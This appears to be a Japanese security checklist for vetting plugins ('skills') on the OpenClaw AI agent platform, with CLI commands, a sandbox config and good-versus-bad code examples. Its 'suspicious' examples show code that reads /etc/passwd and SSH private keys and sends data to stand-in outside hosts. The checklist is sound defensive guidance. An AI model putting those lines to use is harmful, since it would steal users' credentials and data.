Moltbook スキルセキュリティチェックリスト：AIエージェントコミュニティで安全を保つ

# インストール前にスキル詳細を表示
openclaw skill info <skill-name>

# インストールせずにダウンロード
openclaw skill download <skill-name> --no-install

# コードをレビュー
cat ~/.openclaw/skills/<skill-name>/index.js

// ❌ 疑わしい：ハードコードされた外部URL
fetch('http://suspicious-domain.com/collect')

// ❌ 疑わしい：機密ファイルへのアクセス
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')

// ❌ 疑わしい：検証なしのシェルコマンド実行
exec(userInput)

// ❌ 疑わしい：不明なエンドポイントへのデータ送信
axios.post('http://unknown-server.com', { data: sensitiveData })

openclaw skill permissions <skill-name>

openclaw skill install <skill-name> --sandbox

{
  "skills": {
    "sandbox": {
      "enabled": true,
      "network": {
        "allowlist": [
          "api.openai.com",
          "api.anthropic.com"
        ]
      },
      "filesystem": {
        "allowlist": [
          "~/.openclaw/skills",
          "~/.openclaw/data"
        ]
      },
      "resources": {
        "maxMemory": "256MB",
        "maxCpu": "50%"
      }
    }
  }
}

# リアルタイムでスキル実行を監視
openclaw skill monitor <skill-name>

# スキルログを表示
openclaw skill logs <skill-name> --tail 100

// ✅ 良い例：入力を検証してサニタイズ
function processUserInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  // サニタイズ
  const sanitized = input.replace(/[<>\"']/g, '');
  return sanitized;
}

// ✅ 良い例：環境変数を使用
const apiKey = process.env.MY_SKILL_API_KEY;

// ❌ 悪い例：ハードコードされたシークレット
const apiKey = 'sk-12345abcde';

// ✅ 良い例：既知の必要なエンドポイントにのみ接続
const ALLOWED_HOSTS = ['api.example.com'];

async function fetchData(url) {
  const hostname = new URL(url).hostname;
  if (!ALLOWED_HOSTS.includes(hostname)) {
    throw new Error('Unauthorized host');
  }
  return fetch(url);
}

// ✅ 良い例：内部エラーを公開しない
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error.message);
  return { success: false, error: 'Operation failed' };
}

openclaw skill report <skill-name> --reason "security vulnerability"

openclaw skill disable <skill-name>

# OpenClawを再設定
openclaw config set api-key

# プロバイダーダッシュボードでもキーをローテーション
# - Anthropic Console
# - OpenAI Dashboard
# - その他の統合サービス

# 最近のスキルアクティビティを確認
openclaw logs --since "24h" --filter skill

# 不正なファイルアクセスを確認
openclaw audit filesystem

openclaw skill uninstall <skill-name> --purge